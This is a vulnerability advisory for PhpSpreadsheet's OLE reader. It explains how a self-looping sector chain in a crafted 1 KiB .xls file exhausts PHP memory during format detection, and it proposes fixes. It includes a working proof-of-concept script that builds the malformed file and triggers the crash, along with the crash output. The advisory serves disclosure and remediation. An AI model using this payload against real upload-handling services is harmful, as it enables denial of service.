PHPSpreadsheet: XLS/OLE sector-chain self-loop causes memory exhaustion

PhpSpreadsheet's OLE reader follows sector chains from attacker-controlled XLS/OLE metadata without detecting cycles or enforcing a maximum chain length. A tiny malformed .xls/OLE file can set the small-block depot sector chain to point back to itself. During normal XLS detection, OLERead::read() appends the same sector data repeatedly until the PHP process exhausts memory.

This is reachable from Reader\Xls::canRead() and therefore from automatic spreadsheet type detection. Applications that accept attacker-controlled spreadsheet uploads can suffer denial of service from a very small file.

OLERead::read() loads the input and builds sector chains from attacker-controlled OLE header and allocation-table values:

• src/PhpSpreadsheet/Shared/OLERead.php:82 reads the entire file after validating only the OLE magic.
• src/PhpSpreadsheet/Shared/OLERead.php:84-97 reads sector-chain metadata from the file header.
• src/PhpSpreadsheet/Shared/OLERead.php:132-146 builds bigBlockChain and then follows the small-block depot chain.

The vulnerable loop is:

 1$sbdBlock = $this->sbdStartBlock;
 2$this->smallBlockChain = '';
 3while ($sbdBlock != -2) {
 4    $pos = ($sbdBlock + 1) * self::BIG_BLOCK_SIZE;
 5 
 6    $this->smallBlockChain .= substr($this->data, $pos, 4 * $bbs);
 7    $pos += 4 * $bbs;
 8 
 9    $sbdBlock = self::getInt4d($this->bigBlockChain, $sbdBlock * 4);
10}

There is no visited-sector set, no maximum iteration count, no EOF bound, and no check that the next sector differs from a previously visited sector. If the allocation table maps sector 0 to sector 0, the loop appends the same sector data forever until memory is exhausted.

The issue is reachable during normal reader detection/loading:

• src/PhpSpreadsheet/Reader/XlsBase.php:153-165 calls OLERead::read() from canRead().
• src/PhpSpreadsheet/Reader/Xls.php:376-383 calls OLERead::read() from loadOLE().
• src/PhpSpreadsheet/IOFactory.php:181-213 calls canRead() while creating a reader for a file, so automatic format detection can trigger the issue.

Similar unbounded sector-chain walks exist later in stream reading:

• src/PhpSpreadsheet/Shared/OLERead.php:175-180
• src/PhpSpreadsheet/Shared/OLERead.php:198-202
• src/PhpSpreadsheet/Shared/OLERead.php:218-222

The proof of concept below confirms the small-block depot chain loop; the same remediation pattern should be applied to all sector-chain walks.

A 1 KiB file can crash a PHP worker during Xls::canRead() or automatic file-type detection. This can deny service to web applications, queue workers, preview services, or document converters that process untrusted spreadsheet uploads.

The issue occurs before the file is recognized as a valid workbook stream, so even detection/probing paths are affected.

This proof of concept uses only Docker with --network none; it creates the malformed OLE file inside the container and does not contact external infrastructure.

 1docker run --rm --network none -i \
 2  -v /home/sondt23/Github/CVE/ares/github-repo/PhpSpreadsheet:/app \
 3  -w /app ghcr.io/typo3/core-testing-php82:1.15 sh <<'SH'
 4set -eu
 5php -r '
 6$data = str_repeat("\0", 1024);
 7$set = function (int $off, string $bytes) use (&$data): void { $data = substr_replace($data, $bytes, $off, strlen($bytes)); };
 8$set(0, hex2bin("D0CF11E0A1B11AE1"));
 9$set(28, "\xfe\xff");
10$set(30, pack("v", 9));     // sector size 512
11$set(32, pack("v", 6));     // mini sector size 64
12$set(44, pack("l", 1));     // 1 SAT sector
13$set(48, pack("l", 0));     // directory first sector 0
14$set(56, pack("l", 4096));  // mini stream cutoff
15$set(60, pack("l", 0));     // SSAT first sector 0
16$set(64, pack("l", 1));     // one SSAT sector
17$set(68, pack("l", -2));    // no MSAT extension
18$set(72, pack("l", 0));     // no extension sectors
19$set(76, pack("l", 0));     // DIFAT says SAT is sector 0
20$set(512, pack("l", 0));    // SAT entry for sector 0 points to itself
21file_put_contents("/tmp/phpspreadsheet-ole-selfloop.xls", $data);
22printf("ole_size=%d\n", filesize("/tmp/phpspreadsheet-ole-selfloop.xls"));
23'
24php -d memory_limit=64M -d display_errors=1 -r '
25require "/app/vendor/autoload.php";
26$r = new PhpOffice\PhpSpreadsheet\Reader\Xls();
27var_dump($r->canRead("/tmp/phpspreadsheet-ole-selfloop.xls"));
28' 2>&1 || true
29SH

Observed output:

 1ole_size=1024
 2PHP Fatal error:  Allowed memory size of 67108864 bytes exhausted (tried to allocate 48234528 bytes) in /app/src/PhpSpreadsheet/Shared/OLERead.php on line 143
 3PHP Stack trace:
 4PHP   1. {main}() Command line code:0
 5PHP   2. PhpOffice\PhpSpreadsheet\Reader\XlsBase->canRead($filename = '/tmp/phpspreadsheet-ole-selfloop.xls') Command line code:4
 6PHP   3. PhpOffice\PhpSpreadsheet\Shared\OLERead->read($filename = '/tmp/phpspreadsheet-ole-selfloop.xls') /app/src/PhpSpreadsheet/Reader/XlsBase.php:164

• Validate every OLE sector-chain walk with:
  • a visited-sector set to reject cycles;
  • maximum chain length based on file size and sector size;
  • bounds checks before reading from $this->data, $this->bigBlockChain, or $this->smallBlockChain;
  • rejection of negative sector IDs other than the documented end-of-chain marker.
• Replace fatal memory exhaustion with a recoverable Reader\Exception for malformed OLE chains.
• Apply the same guarded chain-walk helper to:
  • small-block depot chain construction;
  • small-block stream extraction;
  • big-block stream extraction;
  • readData().
• Add regression tests with self-looping and out-of-range SAT/SSAT chains.